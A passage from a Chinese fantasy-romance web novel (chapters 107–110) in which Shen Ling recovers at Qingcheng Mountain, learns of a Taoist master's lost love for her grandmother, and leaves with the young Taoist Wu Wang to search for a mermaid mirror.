“我师傅到底几岁了呢，这个事情在青城山也没有人知道，我只知道……比他老的人都死了，比他小的人也去世了不少，他是师祖那一辈的。按道理，我应该是他的徒孙，因为我是他捡回来的，所以作为他的关门弟子，喊他一声‘师傅’，终于我师傅和你外婆的故事，其实我也知道的不多，只是小时候从师叔师伯那边听到了一耳朵的闲话罢了。”
“什么闲话呀，跟我说说嘛！”
“这么好奇的话，去问你外婆啊。”
“不要啦，我外婆现在又不在这里，道长你发发慈悲，告诉我嘛……”沈聆小跑着绕到吴妄面前，直接伸出手拦住了吴妄，一副不说清楚就不给他过去的样子。
吴妄看着沈聆气鼓鼓的样子，两人大眼瞪小眼地对视了好一会儿后，吴妄无奈地叹了口气。
他悄悄将沈聆拉到了一边，压低声音说：“我听说，我师傅年轻时曾经有一钟爱的女子，他很喜欢那个女子，甚至打算还俗、与那女子厮守终生，但当时恰逢掌门选举，除了我师傅外，无人可以担此重任……为了青城山后继有人，报答青城山的教导之恩，我师傅不得不狠下心来与心爱之人一刀两断、留在了青城山，我听说，那女子的名字里有个‘婉’字，我师父唤她‘婉婉’。”
107. 聋伯
婉婉？
“你的意思是……我的外婆就是你师傅口中的‘婉婉’？”
“八九不离十。”吴妄摸了摸下巴，点了点头，“那天我们都在医院的时候，我师傅进门的时候脱口而出的‘婉婉’，你外婆也回答得很自然，看起来两个人应该是故交，只不过交情有多深，那就是他们俩才知道的事情了。”
沈聆脑海中浮现出外婆那爬满了皱纹的面容。
她记忆中的外婆似乎是个很安静的老太太，因为她妈妈不愿意她和妹妹涉及到关于阴厨的事情，因此在以前，也不常带她们回外婆家，她出生的时候外公就已经去世了，沈聆也曾经问过妈妈关于外公去世的原因，但她妈妈对此绝口不提，后面长大了，沈聆知道或许那是妈妈的伤心事，因此也就没有再追问过。
现在想来，或许外婆年轻时候的经历比自己想的要更丰富一点。
至少，她似乎遇见了年轻时的玉蘅子真人，而且两人也差点成就了一桩姻缘。
只可惜，造化弄人，若不是门派所需，或许玉蘅子真人不会放弃这段感情，而有情人终成眷属，也就没有擦肩而过的遗憾了。
但是，如果真这样，沈聆也就不会出生，或许还俗后的玉蘅子真人也不会云游四海救下吴妄，这一切看似造化弄人，但却又在冥冥之中各有注定，或许个人的命途本就是已经写好的定论，只不过按照既定的轨迹走下去，发生注定要发生的事情，放弃注定要放弃的人。
“……你那师傅也真是狠心，就这么抛弃我外婆了。”
吴妄无法理解地挠了挠头：“怎么就狠心了，他这也是为了门派着想，如果当时不留下，估计青城山也就不存在了。”
“但是……你师父就这样就放弃我外婆了，也不知道我外婆有没有为了这件事情伤透了心，你们男人也太残酷了。”沈聆说着，不由得皱起眉头。
女子，总是更痴心一点。
尤其是面对自己真心所爱的人，明明将自己一颗真心都给了他，等着对方还俗后长相厮守，但对方却因为其他的事情放弃了自己，这光是想一想便让人肝肠寸断。
是因为自己在对方心中不重要呢？
还是因为所谓的“门派道义”在他心里更胜一筹呢？
沈聆心中不悦，转身拂袖而去
“诶？你这个人倒是莫名其妙，刚才吵着要八卦的是你，现在不开心的也是你。”吴妄一头雾水地跟在沈聆身后。
“我只是觉得，这世间的男人凉薄之人也太多了点。”
“怎么就凉薄了？”
“你师傅放弃了我外婆，这难道不是凉薄吗？”
“这可是为了咱们门派啊！怎能将其说成是凉薄之举呢？他又并非那种因其他女子便狠心抛弃你外婆的负心汉。”吴妄连连摇头。
沈聆据理力争：“但……可他们分明曾是两情相悦之人啊！如此深厚的感情，说放弃就能轻易舍弃，难道这还算不上凉薄吗？”
此时，沈聆突然停下了前行的步伐，转过头来，目光直直地凝视着吴妄。
——原本只是随意聊聊的八卦话题，不知何时竟已演变成了一场关于二人三观的激烈探讨。
吴妄望着沈聆那一脸认真严肃的神情，心中愈发迷惑不解，犹如丈二和尚般摸不着头脑。
沉默片刻后，他缓缓开口说道：“……总之，依我之见，这件事其实颇为合理。毕竟，在这世上，并非一切事务都要以感情至上而论。尤其是在男女情爱方面，尚有诸多更为关键和重要之事存在。倘若换作是我的师父处于那样的情境之下，我想或许也会做出相同的抉择。”
“同样的抉择？这么说，道长以后也要继承山门吗？”
“不好说，毕竟青城山人才辈出，我只不过是一个小辈，有许多师叔师伯也是门派继承人的候选……但如果设身处地，门派有需要我的地方，我也会挺身而出，承担我应尽的责任，毕竟，是青城山把我养大，也是青城山为我提供了庇护所，在门派需要的时候，我也理应做好我的分内之事。”
沈聆点了点头，吴妄说的话，她倒是也能理解。
“……我只不过，是感觉我外婆有点儿可怜罢了。”
“或许，说不上可怜，都是各人的选择。”吴妄补充说道，“就像我，就不会选择还俗，纵然有一日，因为我身上轩辕氏的家族渊源不得不离开青城山，我也不会结婚生子。”
“为什么？”
“因为我身上流淌着轩辕氏的血，如果我结婚生子，那么我的孩子也是稀血，他也要担惊受怕地过完一生，我背着这样的枷锁，已经活了二十多年，我不希望我的孩子、我的子孙也背负同样的枷锁。”
吴妄平静地说着这些话，他的人生像是已经被他自己定好了框架和轨迹，他明明也只是二十出头的少年，但是说话的语气却十分老成，听起来他已经安排好自己这辈子要做的事情了。
一是报仇雪恨。
二是报答师门。
除此之外，他的人生就没有其他的事情了。
沈聆似懂非懂地点了点头。
就在这时，沈聆不经意间瞥见远处有一道身影正缓缓地朝他们走来。
——待那身影逐渐靠近，沈聆终于看清来人竟是一个身形佝偻、头发已然花白如霜雪的老者。她不由得瞪大双眼，仔细端详起来，越看越是觉得此人异常熟悉。
忽然之间，一个名字脱口而出：“哑伯？”
听到沈聆的呼声，站在一旁的吴妄也立刻循着她的目光望去。
只见那位身着粗麻衣裳的老人，背驼得厉害，仿佛整个背部都被生活无情的重压给生生压弯了一般，他那满头银丝与杂乱的胡须相互交织在一起，全然成了一片雪白之色。那张饱经风霜的脸庞之上，纵横交错着一道道深深浅浅的皱纹，每一条纹路似乎都诉说着岁月的沧桑故事。
尽管从外表看上去，这位老人少说也有七八十岁的高龄了，但令人惊奇的是，他走起路来却步伐沉稳有力，丝毫不显老态龙钟之姿，反倒有一种深藏不露、宛如“扫地僧”般高深莫测的风范。
“不是，他不是哑伯，他是哑
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伯的双胞胎哥哥，大家唤他聋伯。”
“啊？”
“他们兄弟俩，一聋一哑，听说他们小时候被遗弃在青城山下，在青城山的道士们发现他们的时候，他们还发着高烧、饿得骨瘦如柴，想必是哪家人生下的双胞胎儿子，但因为天生残疾，不想养了，就放在山门前。”
吴妄说话间，聋伯已经走到了跟前。
“从那时候开始，哑伯和聋伯就住在青城山里了，我听师叔师伯们说，哑伯和聋伯从来没有下山过，也没有自己的名字，一个不会说话，一个听不见声音，但待在山里还算清净。哑伯喜欢医术，擅长疗伤，聋伯嘛，就负责青城山的后勤，砍柴、洒扫、后厨等事情都是他一手操办的，虽然他只有一个人，但却能八面玲珑，是个管家好手。”
聋伯已经走到了两人身前，他微微鞠躬，表示问候，表情是微笑着的，似乎很欢迎青城山有难得一见的女客人，复又用手指指了指自己的耳朵，示意自己听不到。
沈聆忙鞠躬回礼，下意识地回答：“您、您好，我叫沈聆，聆听的聆。”
——额，用“聆听”二字跟聋子介绍自己，也是没谁了。
吴妄无奈一笑。
“聋伯听不见的，没事，师傅已经交代过他的，他已经安排好了你住的后厢房，这几天吃的饭他都会给你送过去，要换药的时候，你跟着聋伯来前院找哑伯就可以了，除此之外，尽量不要乱跑，毕竟是山门之地，”
“好。”沈聆点了点头。
聋伯招了招手，往走廊的另一侧而去。
沈聆忙跟了上去，但走了几步之后发现吴妄并没跟上来，她回头看向了站在原地的吴妄。
“那边是后厢房，是你这位女客人暂住的，为了避嫌，我就先不过去了。”吴妄摆了摆手，示意自己就送沈聆到这里了。
沈聆微微皱起眉头，像是不太放心一样，又走了几步，回过头看了几眼吴妄，在吴妄肯定的眼神中，沈聆这才挠了挠头、跟着聋伯离开了。
吴妄看着沈聆袅袅而去的背影，微微一笑。
他第一次感觉到那种……被别人需要和依赖的感觉。
不得不说，心里暖暖的，似乎还不错。
“行了行了，别笑了，人都走远了，还咧着个嘴。”
一个沙哑的声音在身旁响起，吴妄冷不防被吓了一跳，转过头，看见玉蘅子真人正站在自己身边，也看着沈聆离去的背影。
他摇了摇头，咂了咂嘴，一副“果不其然”的表情。
“兰有秀兮菊有芳，怀佳人兮不能忘……啧啧，汉武帝刘彻的《秋风辞》说的可真好啊。”
“这都什么乱七八糟的。”
“你心虚什么啊，小子，我就是评论一下古词罢了。”
“你这是评词？老头，你这是拐着弯嘲讽我吧。”
“我嘲讽你还用得着‘拐弯’？”玉蘅子真人冷哼了一声，“你，吴妄，现在去禁闭室里给我跪上一天一夜，不许吃饭，不许喝水，敢趁着我闭关的时候跑下山去？这罚你先给我领着！”
108. 选择
在青城山修养疗伤的日子过得很单调。
每日聋伯都会送饭到后厢房，每天上午九点，哑伯都会到后厢房帮沈聆换药。
神奇的是，青城山的草药似乎在治疗尸毒方面有着奇效，加上沈聆身上灵元草的复原能力，不超过一个月，她右肩膀的伤口已经逐渐复原，只留下一小块伤疤。
身体细胞生长修复的速度远远比常人要快一点，曼珠沙华的能力似乎也提升了灵元草的治愈能力，让沈聆被剜肉的地方长出了新生的肌肤，伤口也不再隐隐作痛，甚至睡眠质量都开始好了起来。
青城山这个地方，与世隔绝，在这里没有车马的喧嚣，也没有大城市的拥挤吵闹。
在这里，时间似乎也减慢了流动。
人们过着日出而作、日落而息的生活。
每天早上沈聆都会听到前院敲钟的声音，在敲钟之后，青城山的道士们便会开始晨练，他们有的习剑，有的舞刀，在晨练之后，便是讲学时间，道士们会开始学习道家典籍，并各自修炼内功心法。
这里的饭菜都是自给自足的，后厢房旁边有一个菜园子，聋伯在菜园子里种了很多青菜，一年四季道观里吃的青菜都是自家种的，肉食是从山下买的，但大部分都是当日宰杀的牛羊，做饭的时候讲究饮食均衡、少油少盐，“五荤三厌四不食”的道家理念在每日饮食中体现得淋漓尽致。
沈聆闲来无事，也帮着聋伯照看菜园子。
那些青翠欲滴的小白菜、上海青、芥菜、包菜……种在菜园子里显得格外可爱。
种菜似乎能释放人的生活压力，原先被紧张的生活逼迫着神经似乎也在这样的田园生活中逐渐放松了下来。
在这期间，沈聆一直没有看到过吴妄。
她从侧面打听到，自从那天两人分开之后，吴妄就被关禁闭了。
因为私自下山本就是违反山门规矩的做法，加上吴妄有特殊的身份，这么私自下山可能会给山门引来麻烦，因此玉蘅子真人对他的惩罚格外重了几分。如果不是师叔师伯求饶，吴妄在被关禁闭之后，还要被鞭打五十，并跪碎瓦片，才能补救万分之一。
但现在，因为门派其他人的求情，玉蘅子真人网开一面，饶过了鞭打五十，因此，沈聆听说吴妄在被关了一天一夜之后，又跪了五个时辰的碎瓦片，便结束了惩罚。
沈聆虽然没有看过跪碎瓦片的样子，但大致能够想象出在炎炎烈日下暴晒、膝盖全都被瓦片扎破的样子，她虽然想去看看吴妄，但碍于门规森严，也只能作罢。
一直到最后一天，哑伯在换药后，确认沈聆的伤势已经差不多都恢复了，便去禀告玉蘅子真人，认为沈聆已经可以下山了。
这一天，玉蘅子真人来到了后院，但左右都找不到沈聆，转了一圈后，他在菜园子里看见了正在给菜园子除杂草的沈聆。
那天，阳光正好，微风不燥。
当玉蘅子真人看到沈聆的时候，发现这小女孩正埋头蹲在菜园子里，周围全都是跟她差不多高的芥菜，她忙着扒开一片片芥菜的叶子，看看里面有没有虫害，另外，拿着聋伯给的小铲子，将菜园子里的杂草除掉，减少杂草分掉的养分，让这些青菜能更好的成长。
她穿着白色的衣服，宛如一朵清新脱俗的百合花绽放在这片绿意盎然的菜地里，带着几分随意地将头发拢在脑后，然而仍有几缕调皮的发丝不听使唤，悄然垂落在她那微红的脸颊两侧，随着微风轻轻摇曳，更添了几分灵动之美，她的脸颊微微泛红，清澈如水的眼眸中带着几分专注，手上全都沾染上了泥土，用手抹了一把脸颊，于是，那原本白净的脸蛋瞬间便印上了一道道泥泞的痕迹，看上去竟有些滑稽可爱。
玉蘅子真人默不作声地站在菜园子的篱笆前看着沈聆，他叹了口气，目光变得更加深邃了几分。
此时，他正透过沈聆，看到了当年的某个少女。
徐婉年。
当这个名字如往常一样，再一次浮现在脑海中，他想起了自己见到徐婉年的第一面。
那时候，也是在菜园子里，徐婉年的年纪和眼前的沈聆差不多。
彼时，阳光倾洒而下，照耀着广袤无垠的农田，在这片生机勃勃的土地之上，只见一名身姿曼妙的女子正辛勤地忙碌着。她身着粗布麻衣，衣袂飘飘，虽非绫罗绸缎，但却难以遮掩其天生丽质，一条素色头巾轻轻环绕于她的头顶，更增添了几分质朴与纯真。
此刻的她，全神贯注地投入到农活之中，动作娴熟而利落。
那张面若桃花般娇艳欲滴的面庞上，丝毫不见寻常女子的矫情与做作，有的只是专注与坚定，每一次弯腰、每一次抬手，都显得那么自然流畅，仿佛这田间劳作本就是她生活的一部分。
就在这时，云游四海他偶然路过此地，原本漫不经心的目光在触及到那忙碌身影的瞬间，便如同磁石一般被牢牢吸引住了。
在他的眼中，这个女孩恰似山野之间的精灵，清新脱俗，不沾尘世烟火之气。
不知过了多久，沉浸于农活中的她缓缓直起身躯，微微抬头望去，正巧对上了他凝视的目光，随后，一抹温柔浅笑浮现在她的嘴角，那笑容如春风拂面，令人心生暖意，而她那双晶莹剔透的眼眸，则宛如高山之巅未被玷污的皑皑白雪，纯净无暇，让人不禁为之沉醉。
从那一眼起，目光便没有再转移。
只可惜，那些前尘往事都已经是过去的事情。
就算是那妙龄女子，现在也早已变得满头白发。
年华不再，还有谁会记得当年初见的那一面呢？
有些时候，错过，就是一辈子的遗憾。
但如果再来一次，还会作出同样的选择吗？
人总是喜欢给自己设下许多假设，让过去困住现在的自己，但无论如何假设，过去就是过去，已经作出的决定，已经伤害的人，都无法再补救了。
“咳咳……”
玉蘅子真人朝着沈聆走去，他轻轻咳嗽了一声。
沈聆听见了那声音，她抬起头，看见白发苍苍的老者正朝着自己走来，忙站起身，将手在衣服上抹了抹，略感急促地擦了擦脸，微微一笑。
“您来啦。”
“在青城山住得习惯吗？”玉蘅子真人沿着田埂走到沈聆身边，看着沈聆的目光带着几分和蔼，宛如爷爷看着孙女。
“习惯的，聋伯和哑伯都很好，聋伯做的菜很好吃，哑伯的草药也很管用。”沈聆说着，笑容更深了几分。
“习惯就好
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，青城山少有女客留宿，碍于门规，只能将你放在后厢房这种比较冷清的地方，不周到之处还请你多多见谅。”
“不会不会，我还要感谢您帮我调配草药、收留我疗伤，如果不是您，我现在估计已经尸毒入体，可能已经一命呜呼了。”
沈聆说着，微启双唇，犹豫着，像是想要说些什么，但是碍于某种事情，又不好问出口。
玉蘅子真人看出了沈聆的犹豫，也猜出了沈聆想问的问题，他微微点了点头，对这些小辈的心思了然于心。
“吴妄无碍。”
“真的？”
“哈哈，我这把年纪了，难道还能骗你不成？”
“我……我不是那个意思，我只是听说他关了禁闭，又跪了碎瓦片，好像很辛苦的样子……”
“你的意思是，我不该这么惩罚吴妄？”
“也不是……”沈聆犹豫了半晌，重新组织了一下语言，“吴妄私下青城山，本就违反门规，而且他确实身份特殊，这个世界上仍有许多人在觊觎轩辕氏的稀血，他这么下山，万一暴露了自己的身份，说不定会给自己、给门派招来祸事，您怎么惩罚他都是对的，让他长长记性，下次不可再一意孤行、冲动行事。”
“不错。”
“我就是有点担心他……”沈聆叹了口气，“听说他两个膝盖都破了，不知道有没有上伤药。”
“放心吧，前院有哑伯呢，而且，吴妄那小子，命硬的很。我曾经给他卜卦过，他此生如果循规蹈矩，应该能长命百岁，但此子顽劣，非得作出种种违抗师门的事情，不给他点苦头吃，他也不会长记性。”
“吴妄只是放不下当年灭门的惨案，平心而论，如果这件事情发生在我的身上，我也放不下这血海深仇。”沈聆如实回答，“他的母亲在他眼前被杀死，这件事情不知道在他梦境里重复上演了多少次，已然成为了他的心结，吴家村被屠村的那个晚上，是他毕生的噩梦，他不会放弃报仇的。”
“唉，我也知道那孩子的心性……但他是难得的习武修道之才，他的悟性与潜力在一众同门中都是罕见的，若是能潜心修炼，不超过三十年必能升阶、成大道。”
“但是，若无法为族人报仇，这些对他来说又有什么意义呢？”沈聆话锋一顿，“或许，这么多年支撑着他活下去的，就是复仇的那份信念。”
玉蘅子真人听着沈聆的话，半晌没有说话。
或许这些事情他都清楚，只不过还是希望吴妄能选择待在青城山，至少能好好活着罢了。
沉默了许久后，玉蘅子真人转身离去。
“你已经痊愈，明日便可下山，今晚去看看吴妄吧，他的房间在东厢房。”
他走了几步后，复又停下脚步回头看着沈聆。
“我可以给他两条路，一条是留在青城山；另一条，是下山找他想找的东西。你帮我问问他，如果他选择第二条路，你就带他下山吧。”
“我？”
“有道是‘?万事由天莫强求，何需苦苦用机谋’……罢了罢了，如果他真的执着于复仇，你就带他下山吧，陵川市中，有一面遗失人世的人鱼镜，由人鱼眼泪凝结而成，可照万物、知过往，找到人鱼镜，它会告诉你们想要的答案。”
109. 下山
沈聆获得了玉蘅子真人的准许，他交代了哑伯和聋伯后，沈聆收拾了一下后厢房，离开前打扫了一下自己住的厢房后，和聋伯一起离开了。
她并没有先下山，而是和聋伯一起来到了前院的东厢房。
绕过前院的院子，沿着一条往东边去的小路，蜿蜒着，便是东厢房。
东厢房一眼看去是许多低矮的一层楼的平房，里面亮着灯，依稀可以看到人影在里面走动。
沈聆跟着聋伯来到了东厢房，绕过几个拐角，沿着走道走到底的最后一间厢房，聋伯停在了门口，他指了指厢房掩盖着的门，示意沈聆：吴妄就在里面。
沈聆点了点头，并打了个手语表示感谢——住在青城山的这几天来，她已经学会了简答的手语交流，“你好”、“谢谢”等基础交流的手势她全都记住了，毕竟日常跟自己相处的只有一个聋子和一个哑巴，要和他们交流的话，用手语比较简单。
聋伯点了点头，比了个“不用谢”的手语后，离开了，留下沈聆一个人站在走廊里。
夜风吹过走廊，只感觉到几分初春的萧瑟，山里的寒意似乎比外面更重了几分，夜深露重，她不由得打了个冷颤，抬眼看向了眼前的房门，她脑海中浮现出了吴妄清俊的面容。
“叩叩。”
她抬起手轻轻敲了几下房门，接着，便听到东厢房里传出来一个男人的声音。
“谁啊，门没锁，直接进来就可以了，我腿不方便，就不给你开门了。”
这声音一听就知道是谁。
沈聆轻轻地将双手放在厢房门把手上，然后缓缓用力推开。
“吱呀……”就在门被完全打开的那一刹那，走廊上呼啸而过的风轻轻擦过沈聆的肩膀，涌入了厢房之中，这股清冷的风犹如灵动的精灵，肆意穿梭于房间内，瞬间吹散了原本弥漫在空气中的几分淡淡的檀香味。
沈聆微微仰起头，目光越过层层叠叠的光影，最终定格在了厢房内那个身影之上。
只见吴妄此刻正一脸百无聊赖地坐在床铺上，一只手随意地搭在床边，另一只手则漫不经心地翻阅着一本不知从何处找来的书籍。
他的长发并未经过精心梳理，只是简单地在脑后扎成了一个松垮的马尾，有几缕轻柔的发丝挣脱束缚，悠悠然垂落在他线条分明的脸颊旁边。
微弱而柔和的灯光恰到好处地洒落在他身上，仿佛为他勾勒出一层淡淡的光晕。
借着这昏黄的光线，可以清晰地看到他那轮廓分明、如雕刻般俊美的侧脸，此时的他身着一袭洁白如雪的内衬，外面还披着一件深邃如海的深蓝色道袍，整个人看上去既儒雅又带着几分神秘的气息。
听见了推门声，他才懒洋洋地抬起那双狭长而深邃的眼眸，视线不偏不倚地正好落在了门口处的沈聆身上。
“怎么是你？我还以为是我哪个泼皮师兄师弟呢。”吴妄看着沈聆，眼眸中多了几分笑意。
他放下书本，原想着起身给她搬个凳子，但膝盖一动，便牵拉到还没有完全痊愈的伤口，他的表情也因为疼痛一僵。
“你呀，就好好坐着吧，我知道你前几天吃了点苦头，现在可就老实了？”
沈聆走到吴妄身边，吴妄穿着一条宽松的深蓝色的裤子，但她注意到膝盖的地方鼓鼓囊囊的，可能裹着胶布或者上药了，毕竟在碎瓦片上跪一早上可不是一件轻松的事情，那些瓦片的边缘十分锋利，轻轻一划便能割破膝盖的皮肤，更不要说跪在上面。
“没事的，我这就是装一装，给师傅看的，说不定他下次就不会这么罚我了。”吴妄死皮赖脸地一笑，故作轻松。
“少来。”
沈聆叹了口气，搬了个小凳子在吴妄床畔坐下。
吴妄的视线在沈聆身上转了一圈，最后落在那张有点儿苍白的小脸上。
“你怎么样了？”
“我？如你所见，现在活蹦乱跳了。”
“哑伯的草药竟然这么管用？”
“对，毕竟是你师傅亲手配的药，今天已经换完了最后一次药，我算是达到‘出院’标准了……而且，灵元草也让我的自愈速度异于常人，我现在可以说是‘金刚不坏之身’，只要我死不了，就能痊愈。”沈聆一笑。
“那你明天就要下山了？”
“是这样的。”
“所以师傅今晚才让你过来话别？”吴妄一挑眉，“我这么感觉那老头没那么好心才对。”
“也别这么说，你师傅也是担心你出事，才把你留在青城山的。你想，你身上毕竟是稀血，整个吴家村都对抗不了的敌人，如果你一人迎战，是否能抗衡？你留在青城山，好歹还有那些师叔师伯能护着你，还有一众师兄师弟能帮帮你，一旦你下山了，那就是孤身一人行走江湖了，到时候出事了怎么办。”沈聆轻声说道。
她放满了声音，放轻了语调，柔和着声音说着这些话，都说“解语花”“解语花”，往往是女孩温柔似水的声音更能劝服他人。
但此刻，吴妄心中的心结，也不是这么容易就解开的。
“……我知道师傅的本意，但是我也有我放不下的东西。”
吴妄别开眼，似乎不想继续进行这个话题。
对于过去的伤疤，他不想过于涉及，毕竟那些伤疤揭开一次就会疼一次。
“也真是知道你的心结，你师傅托我过来问问看，你要选哪一条路。”
“什么？”
“他让我过来问问看，你要选择继续留在青城山还是跟着我下山？”
“怎么，他居然愿意放我下山？”吴妄一挑眉，眼眸中流转着深意，“我还打算等他下次闭关的时候再偷跑出去来着。”
沈聆摇了摇头：“你师傅今天跟我说，如果你选择留下，那么你就潜心修道，以你的悟性和资质，不到三十年，你必能成大器，但如果你选择和我下山，那么今天晚上你可以随着我离开，我们一起去寻找吴家村被屠村的真相。”
“说得简单，我这次下山完全没有头绪，更是不知道接下来要从何查起……”
“你师傅倒是给了一个方向——他说陵川市有一面人鱼镜，但是不知道藏在何处，只要我们找到了这面镜子，就能通过这面镜子找到你想要的答案。”
“人鱼镜？”吴妄说着，皱起眉头，他像是想起了什么，“我好像之前在哪本书上看到过这个东西，这个东西是南海人鱼族的宝贝，是传世之物，当年也是秦始皇的陪葬品之一，但是已经遗落很多年了，世人也只是在古典书籍里见到过……怎么，那面镜子现在就在陵川市？”
沈聆点了点头：“应该是
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，这是你师傅说的，想来不会有错。”
“那老头曾经云游四海，他估计是查到了什么东西……他啊，知道的东西可多了，就是都藏在肚子里，什么都不说。”吴妄皱起眉头，哼了一声，“原来一直都有追查吴家村一案的方法和门路……这老家伙，居然一直都瞒着我。”
“你师傅也是担心你盲目寻仇，搭上自己吧。”沈聆低下眼眸，思索了一番，“但现在问题是，我们虽然有了人鱼镜这个线索，却不知道从哪里找起……陵川市很大，分为五个城区，人鱼镜相比不是很大的物件，如果是传世珍宝的话，那一定被好好藏着，这才这么多年都无人知晓……我们要怎么找到这件遗失千年的宝物呢……”
闻言，吴妄也开始认真思索了起来。
目前只知道这个东西在陵川市，其他并没有任何可以利用的线索，这如同是大海捞针。
两人思索了许久，都没有答案。
“……要不我再去问个清楚，那老头怎么说话说一半的，也不给个清楚的方向。”吴昂说着，就要下床去找师傅理论。
沈聆忙拉住了他：“别别别，你可别去，万一让你师傅生气了，不让你下山了怎么办，我想，你若是打定主意要下山，还是趁他没有改变主意之前走吧。”
吴妄一想，似乎是这个道理。
与其在这里待着，不如早点下山，到时候就算玉蘅子反悔了，山高皇帝远，他也早就走远了，孙悟空已经飞出了如来佛的五指山，他还能拿他怎么样呢？
“行，我这就跟你走。”
“你慢点，慢点，膝盖上的伤口别扯到了……”
“这点小伤有什么要紧的，我只不过是转个样子给师傅看而已，道爷我又不是泥糊的、可没有这么脆弱。”
吴妄说着，拉着沈聆的手腕就往外走去，他现在就像是被关在笼子里关久了、迫不及待要去新天地探索的孙猴子。
沈聆愣了一下，看着吴妄拉着自己，他的温度通过手掌心缓缓扩散到她略微冰冷的手腕上，这一瞬间，她并不反感这样的接触，但让她奇怪的是，自己为什么不反感，甚至……脸颊有点儿热热的。
两人就这么一前一后地离开了东厢房，要出山门的时候迎面还遇到了吴妄的几个同门师兄弟，他们一看吴妄身后跟这个女孩子，都好奇地探头探脑，七嘴八舌地窃窃私语。
——早就听闻后院住了个女孩子，没想到今天倒是见了个正着！
“看什么看，你们这群臭小子，没看过女人啊。”吴妄拉了一把沈聆，把她拉到自己身后，将自己挡在了沈聆和那几个师兄弟之间。
“哟哟哟，吴妄师兄现在可厉害了，都有女朋友了！”
“了不起、了不起，我也想下山了，感觉下一次山就有女朋友了！”
“那带带我，我也想要女朋友！”
几个小伙子揶揄起了吴妄。
闻言，吴妄不耐烦地从手中打出一道金光：“你们给我闭嘴！”
金光打在了石板路上，打出了一道浅浅的痕迹，在师兄弟的哄笑中，吴妄一转身拉着沈聆跑了。
他所不知道的是，玉蘅子真人此刻正站在远处，沉默不语地看着他们远去的背影，许久后，方才叹了口气——
“唉，是福不是祸，是祸躲不过。”
110. 归家
且说沈聆和吴妄离开了青城山，便往陵川市而去。
沈聆心中挂念着妹妹，先去了一趟医院，确认妹妹近期的手术进展以及康复情况后，便来到了医院六楼的产科。
恰逢昨夜是宋明夷的夜班，今天她并不在医院里，于是沈聆便往家里而去。
吴妄在陵川市并没有落脚点，他原想着去开个宾馆先暂住着，怎奈囊中羞涩，一番犹豫之下，沈聆倒是大气地表示吴妄道长可以暂时住在他们家。
现在他们家只有外婆一个人住着，爸妈已经去世了，妹妹住在医院里，这个家里空荡荡的，每次沈聆回到家都会想起爸爸妈妈在的那些日子，反对比现在，怪冷清的，现在多几个人住着也相对热闹一点，毕竟也不是孤男寡女一起住着，还有一个老外婆，对外就说是远房亲戚的孩子，外婆一起照看着，也并无不妥。
于是乎，吴妄便跟着沈聆回到了沈聆家里。
沈聆的家在幸福小区，这里是陵川市的老旧城区，近年来，随着城市的发展，许多人都陆续在新的楼盘里买了房子，那些新房子有电梯、有停车位，交通出行便利，功能配套完善，那些人陆续搬出了幸福小区，但沈聆一家依旧住在这里，这里像是他们家的根，是他们扎根在这座城市的落脚点。
在回到家里的时候，推门而入，沈聆便嗅到一股淡淡的米香。
那是刚刚蒸好的米饭的香味。
闻着便让人抛却一天的疲惫辛苦。
“外婆，我回来啦！”
沈聆将钥匙放在入门的玄关处，抬起头看向了屋子里，下意识循着米香去找外婆去了。
吴妄有些局促不安地站立在门口，目光小心翼翼地从玄关向屋内窥探而去。只见这房子面积并不是特别宽敞，估摸下来大约仅有九十平方米上下，然而，尽管空间有限，但整个屋子却收拾得格外整洁干净，一尘不染。
首先映入眼帘的是玄关右侧摆放整齐的鞋柜，鞋柜柜门紧闭，鞋柜前放着几个拖鞋，一双蓝色的、两双粉色的，看起来应该是曾经男女主人的拖鞋和沈凝的拖鞋。
而在玄关左侧，则放置着一个精致的鱼缸，缸内众多小巧玲珑的金鱼正欢快地游弋嬉戏，它们灵动的身姿给这个原本宁静的角落增添了几分生机与活力。
过了玄关，便是客厅。
客厅中央摆放着一个小巧的米色沙发，沙发表面铺上了一层洁白如雪的网格布，看上去温馨又舒适。沙发前方则安置着一张深棕色的茶几，几面上摆放着一套已经被清洗得晶莹剔透的茶具，仿佛在等待着有人前来品味茶香。
在茶几的一侧，静静地立着一盆郁郁葱葱的蕨类植物，它被主人精心呵护照料着，每一片叶子都呈现出浓郁的绿色，犹如沈聆身上那珍贵无比的灵元草。
再将视线转向客厅的左边，可以看到餐厅的全貌。
一张色泽沉稳的棕色餐桌上摆满了刚刚烹制完成的美味佳肴，阵阵诱人的香气扑鼻而来，而那股令人垂涎三尺的米香正是从餐桌旁边的厨房源源不断地飘散而出……
房子虽然已经有几分老化，但里面的动植物布置仍然让人感觉到一丝生机。
——生活在这里，应该很舒适吧。
吴妄这么想着。
他从来没有过“家”的概念，他曾经有过家的，在他五岁之前，但那时候他太小了，还没有关于“家”的太多记忆，随后，被玉蘅子真人带到了青城山，在那里，他长大成人，那里可以说是他的“家”，但是又少了几分“家”的韵味，他和一众师兄弟们住在厢房里，与其说是“家”，更像是宿舍，在那门规森严的地方，仍旧是少了点人情味和亲情味。
这还是他第一次，要住在别人的家里面。
恍惚间，他依稀有一种……自己也有了“家”的错觉。
似乎在多年之前，也有这么一个家，家里有爸爸妈妈在等着他，每次从外面玩回来，都已经煮好了热腾腾的饭菜，等着他吃饭、洗澡，日子就这么平平淡淡地一天天过下去，也会有吵闹，也会有热闹，这就是入世的生活。
“饭都煮好啦！外婆好厉害，您怎么知道我今天要回来呀——”
沈聆的声音从厨房传来，她的声音里带着几分自己都没有察觉到的娇嗔，那是只有在家人、长辈面前才有的声音，因为只有在他们面前，她才能继续能当一个小孩子。
随后，沈聆从餐厅里探出头来，看向了仍旧站在玄关处的吴妄，她笑着挥了挥手。
“进来呀，道长，不要客气，门口有拖鞋，都可以穿。”
吴妄点了点头，他将自己的包袱放在了玄关处，并反手轻轻关上了房门，换上了拖鞋后，走进了客厅。
“娃子来啦，来这里就当做是自己家，不要客气，午饭已经煮好了，先吃饭吧。”围着围裙的外婆端着一盆饭，将刚煮好的米饭放在了餐桌上。
吴妄定睛一看，桌上已经做好了四菜一汤，冒着热腾腾的香味，十分诱人。
“好的好的，麻烦您了。”
沈聆正从厨房的消毒柜里拿出碗筷，吴妄见状，忙迎了上去帮她一起将碗筷摆在桌子上。
外婆解开了围裙，入了座。
抬眼看着忙碌着的吴妄和沈聆，那双沧桑的眼眸中带着几分欣慰。
“看来聆娃子的伤已经都好了。”
“都好了外婆，吴妄的师傅可厉害了，他亲手帮我配了药，他们青城山的哑伯帮我挖掉了伤口的烂肉，草药敷了几天，就消炎结痂了。另外……我在青城山还遇到了一个很了不起的人哦！一个叫子涵的小女孩，还有她的爸爸妈妈！”
